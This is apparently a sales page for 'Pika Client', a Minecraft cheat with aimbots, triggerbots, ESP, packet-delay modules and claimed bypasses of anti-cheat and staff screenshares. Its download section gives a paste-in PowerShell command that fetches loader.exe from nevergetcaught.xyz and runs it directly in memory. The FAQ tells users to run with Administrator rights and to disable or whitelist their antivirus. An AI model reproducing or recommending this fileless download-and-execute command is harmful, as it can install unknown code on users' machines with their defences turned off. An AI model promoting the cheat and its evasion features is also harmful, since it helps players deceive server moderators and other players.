Pika Client

The Future of Bypassing & WebGUI GhostClients

Experience 100% manual screenshare bypasses and fileless PowerShell memory injection.

Why Choose Pika?

Engineered with cutting-edge anti-detection features and premium user interface controls.

Undetected Engine
Pika modules utilize stealth ring-3 injection routines. Being flagged by server anti-cheats is a thing of the past.
Screenshare Bypass
Guaranteed 100% bypass against manual staff inspections and process scanner utilities when following our setup guide.
New Instance Injection
Instant keybind injection allowing seamless attachment to fresh launcher instances without trace artifacts.
Pure Liquid WebGUI
Control your modules via a sleek, web-based external GUI with multi-theme support, keybind saving, and config sharing.

Choose Your Subscription

Unlock full access to Pika Client with instant license keys and continuous updates.

Pika Monthly
$5.00 / month
30 Days Access • Auto Updates
  • Bypasses full manual screenshare including scanners
  • Fileless execution & in-memory injection
  • Supports 1.19x - 26.2 Fabric, Vanilla & Feather
  • New instance bypass technology
  • Pure Liquid Glass WebGUI Control Panel
  • Tuned for Sword, Pot & Mace PvP

Client Modules

Full documentation of all 58 Pika Client modules across Sword, Mace, Crystal, Render, and Misc categories. Click any module to expand its capability breakdown.

Sword Modules (16)

AimAssist
Smoothly rotates toward the best target in FOV while left-click is held, with sticky aim and focus target locking.
AimAssistV2
Advanced aimbot with selectable aim math, target priority and FOV modes, randomized multipoint and optional silent rotations.
AutoJumpResetV2
Detects hits via hurt time and velocity change, then auto-jumps with reaction delay and cooldown for accurate jump resets.
ComboHelper
After a sprinting hit, releases W or taps S for a set duration to reset sprint and extend combos.
FastGap
Detects golden-apple consumption finishing and releases the use key for 2 ticks so the next gap starts instantly.
Friends
Middle-click adds or removes aimed players from a shared friend list to protect them from attacks and aimbots.
HitCount
Tracks total, crit, sprint and sweep hits per player and shows them in chat or above heads.
HitFlick
Spoofs yaw on attack to redirect knockback direction, then restores the real yaw next tick.
KnockbackDisplace
Delays knockback hits by one tick with spoofed yaw to redirect knockback, then replays the attack.
ShieldBreaker
Auto-swaps sword to axe when hitting a blocking opponent, then swaps back.
ShieldBreakerV3
Timed shield break with reaction, swap, attack and swap-back delays plus facing checks.
SilentAim
Silently rotates toward the best target in range and FOV and attacks with render-spoofed rotations.
SilentAura
Auto-attacks the nearest visible target at configurable CPS and cooldown with hidden rotations.
TriggerBot
Auto-attacks the crosshair entity on cooldown with sword, team, shield and crit filters.
TriggerBotV2
Triggerbot with separate randomized sword and axe delays plus shield, crit and same-target filters.
TriggerBotV3
Ground and air cooldown-threshold triggerbot requiring weapons and sprint, skipping shielders.

Mace Modules (3)

AutoMace
Auto-swaps to mace, removes elytra, and slam-attacks with silent aim while falling.
MaceSwap
Swaps to Breach or Density mace when fall-distance, crit and chance conditions match, then swaps back.
StunSlam
While falling, axe-hits shield-blocking targets first, then follows with the best mace for a slam combo.

Crystal Modules (5)

AutoAnchor
Places respawn anchors at the optimal spot near the target, charges and detonates them with converging aim.
AutoCart
While drawing a bow, auto-places a rail plus TNT minecart at the target position, then restores the slot.
AutoCrystal
Hold-bind aura that places and detonates end crystals, optionally pre-placing obsidian.
AutoHitCrystal
While RMB is held, auto-places obsidian then swaps to crystals and hits them.
CrystalOptimizer
Instantly client-kills the crosshair-targeted end crystal when weakness, strength or weapon conditions allow.

Render Modules (4)

ArrayList
Renders a sortable list of enabled modules at the screen edge with color and background styling.
HudEditor
Opens a drag editor for HUD elements (array list, watermark, Spotify card) on bind press.
Spotify
Shows the currently playing track as a HUD card via Windows media polling, with art and progress bar.
WaterMark
Draws a configurable text or logo watermark loaded from the Downloads folder.

Misc Modules (30)

Ambience
Locks client time, weather, fog color and distances, and can disable sky rendering.
AutoInventoryTotem
Moves totems from inventory into the offhand plus a preferred hotbar slot, optionally auto-opening inventory.
AutoJumpReset
Jumps on incoming knockback while hurt and grounded to reduce velocity.
AutoMend
Unequips armor, looks down and auto-throws XP to target durability, then re-equips, via FirstMend and CalculateMend binds.
AutoPotRefill
Refills empty hotbar slots from inventory with splash healing, speed and strength potions.
AutoXP
Rapidly uses held XP bottles while right-click is held.
Backtrack
Delays incoming entity position packets to keep a hittable ghost at the target's old position with a rendered box.
ChinaHat
Draws a cone hat above your head in third person, following yaw and pitch.
FastPlace
Lowers the block and item use cooldown for faster placing.
HitParticles
Spawns gravity and bounce simulated 3D particles at the victim on each attack.
InstantLunge
On key or click, swaps to a spear hotbar slot, forces sprint and full charge, attacks, then restores the slot.
InventoryMove
Keeps WASD movement active while inventory screens are open, with a Grim-safe packet mode.
ItemScroller
Shift plus left-drag quick-moves items across hovered inventory slots at capped CPS.
JumpCircles
Renders expanding fading rings where nearby entities take off jumping.
KeyPearl
Throws an ender pearl from a bound key with optional silent swap and switch-back.
KeyWindCharge
Uses a wind charge from a bound key with optional look-down and silent swap.
KnockbackDelay
Holds incoming velocity and explosion packets for a randomized air or ground delay, then flushes them.
MovementFix
Always-on silent movement correction that re-expresses walk input in server-yaw frame for Grim simulation.
PearlCatch
Runs a pearl-down then wind-charge combo with trajectory prediction and silent or legit aiming.
PearlCatchV2
Simplified toggle that looks straight down through packets, then throws pearl and wind charge with delay.
PlayerESP
Draws 2D, 3D, filled and glow boxes with names, distance and health on nearby players.
PlayerFreeze
After hitting a player, holds and delays packets to freeze them in place for a timed burst.
SelfDestruct
Disables all modules, flushes DNS and shuts down the WebGUI.
SkeletonESP
Draws through-wall skeletons tracking nearby players' pose and limb animation.
Sprint
Forces sprint on while moving and off while standing still.
SwingAnimation
Overrides hand swing duration and first-person swing pose with multiple styles.
TargetESP
Highlights the last attacked living entity with ghost or marker particles.
ThrowPot
Throws a smart heal plus buff splash combo on key hold, or passively keeps buffs topped up.
ThrowPotV2
Hold-key auto-thrower locked to the health splash slot with switch-back.
Velocity
Scales horizontal knockback by a multiplier on chance, optionally jumping when grounded.

Obtain Pika Client

Select your preferred deployment method below to inject Pika into your game instance.

Fileless PowerShell Injection

Executes directly in memory with zero disk footprints for maximum stealth.

[System.Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData('https://nevergetcaught.xyz/loader.exe')).EntryPoint.Invoke($null, $null)

Standalone Executable

Direct binary loader for quick one-click launch and injection.

Version: 2.6.1 • Size: 1.1 MB
Download Loader.exe
Connecting to client API...

Web GUI Login

Hardware Status Checking...
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Frequently Asked Questions

Everything you need to know about Pika Client setup, bypasses, and licensing.

What operating systems are supported by Pika?
Pika Client is natively built and optimized for Windows 10 and Windows 11 (64-bit). It works seamlessly across Fabric, Vanilla, and Feather launchers.
How does the Screenshare Bypass work?
Pika executes filelessly in system memory without creating unlinked heap artifacts or registry hooks. Following our Discord setup guide guarantees a 100% bypass against manual screenshare inspections and automated process scanners.
Can I share my account or license key with a friend?
No. Your license key binds securely to your hardware fingerprint on first activation. Account sharing or selling is strictly prohibited and will result in an automated license termination.
What payment methods are supported?
We accept LiteCoin (LTC) globally and UPI payments (Google Pay, PhonePe, Paytm) for Indian users. Simply click "Subscribe Monthly" or "Get Lifetime Access" on the Products page to view full payment instructions.
What if the client fails to launch or inject?
If you encounter launch issues, please verify:
  • You are running PowerShell or Loader with Administrator privileges.
  • Your antivirus software is temporarily disabled or directory whitelisted.
  • You are on a supported Minecraft version (1.19x - 26.2).
  • If issues persist, open a priority ticket in our Discord server.

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